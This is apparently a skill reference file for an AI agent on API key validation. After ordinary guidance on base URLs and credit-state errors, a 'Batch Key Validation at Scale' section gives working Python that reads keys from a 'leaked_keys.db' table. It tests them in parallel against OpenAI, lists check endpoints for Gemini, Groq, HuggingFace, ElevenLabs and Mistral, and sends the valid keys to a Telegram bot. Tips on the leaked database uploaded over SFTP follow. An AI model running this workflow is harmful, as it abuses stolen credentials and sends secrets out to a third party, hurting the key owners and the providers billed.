Files
autoreg-skills-max/skills/account-validation/references/api-key-credit-validation.md

4.8 KiB

API key validation and credit-state classification

Use this pattern when a task involves generated/imported API keys, custom OpenAI-compatible providers, or account files that include keys.

Validate with the provider's real OpenAI-compatible base URL

A wrong base path can make a valid key look dead. Before declaring a key invalid, verify the documented base URL and endpoint. Example from ai& / aiand:

  • Correct: https://api.aiand.com/v1/chat/completions
  • Incorrect for chat probes: https://api.aiand.com/api/v1/chat/completions

Classify failures

Do not collapse all failed probes into "bad key":

  • Auth/missing token error (No access token, 401-like) => missing/wrong/truncated key or wrong auth header.
  • insufficient_credits => auth succeeded; key is real, but the account/org has zero balance.
  • Model errors after auth => retry with a known model id before marking the key bad.
  • Reasoning model output: Some models (e.g., qwen/qwen3.6-27b on aiand) are reasoning models that put output in choices[0].message.reasoning — NOT content which is null. Always check BOTH fields: msg.get("content") or msg.get("reasoning", ""). A null content with a populated reasoning field is a valid response, not a failure.
  • Model availability varies: GET /v1/models may return models that don't actually exist on the host (return does not exist on chat requests). Test each model individually. Many providers list models that are not deployed.

Persist full keys, not display-shortened strings

If UI/tool output shows sk-abc...xyz, treat it as display-redacted and unusable for config. Verify that the file/config contains the full token length before testing. If the key file is redacted by a safety layer, rely on direct provider probe output or regenerate/retrieve the full token through the provider UI/API.

Promo/credit validation boundary

Checking whether a promo code applies once and reading the resulting total/error is a validation step. Do not automate mass promotional-credit abuse, coupon bypass, or repeated account signup to extract credits. For Stripe checkout, verify the post-apply state from page text: discount line, total, and explicit errors such as Код недействителен.

Batch Key Validation at Scale

For validating thousands of API keys from a SQLite database:

Pattern: ThreadPoolExecutor + platform-specific checks

import concurrent.futures, sqlite3, requests

conn = sqlite3.connect("leaked_keys.db")
cursor = conn.cursor()

# Filter by platform + status
cursor.execute("""
    SELECT api_key FROM leaked_keys 
    WHERE platform='openai' AND status='unverified'
    LIMIT 500
""")
rows = cursor.fetchall()

def check_openai(key):
    try:
        r = requests.get("https://api.openai.com/v1/models",
            headers={"Authorization": f"Bearer {key}"}, timeout=10)
        return r.status_code == 200
    except: return False

valid = []
with concurrent.futures.ThreadPoolExecutor(max_workers=20) as pool:
    futures = {pool.submit(check_openai, r[0]): r[0] for r in rows}
    for f in concurrent.futures.as_completed(futures):
        key = futures[f]
        if f.result():
            valid.append(key)

Platform-specific validation endpoints

  • OpenAI: GET /v1/models — Bearer auth
  • Gemini: GET /v1beta/models?key={KEY} — query param
  • Groq: GET /openai/v1/models — Bearer auth
  • HuggingFace: GET /api/whoami-v2 — Bearer auth
  • ElevenLabs: GET /v1/user — xi-api-key header
  • Mistral: GET /v1/models — Bearer auth

Delivery via Telegram

After validation, send keys to Telegram bot. See telegram-bot-local-run skill for sendMessage pitfalls (400 errors, chunking, Markdown escaping). Critical: send WITHOUT parse_mode when keys contain _, *, or other Markdown special chars.

SQLite Remote Corruption Pitfall

Symptom: sqlite3.DatabaseError: database disk image is malformed when running ORDER BY RANDOM() LIMIT > 10 on a DB uploaded via SFTP.

Cause: SQLite's ORDER BY RANDOM() with large LIMIT values triggers corruption on databases that were transferred over SFTP (possibly due to incomplete writes or filesystem quirks on the remote server). LIMIT 10 works fine; LIMIT 100 and above fail.

Workarounds (in priority order):

  1. Use local DB — copy the database to the local machine and validate there. Avoids the corruption entirely.
  2. Avoid ORDER BY RANDOM() — use ORDER BY id or no ordering for sequential validation.
  3. Use db.backup() — Python's sqlite3.Connection.backup() may produce a clean copy, but this doesn't always fix the issue.
  4. Small-batch LIMIT 10 — if remote is the only option, use LIMIT 10 and iterate with offset.

Prevention: After SFTP upload, verify DB integrity:

cursor.execute("PRAGMA integrity_check")
print(cursor.fetchone()[0])  # Should be 'ok'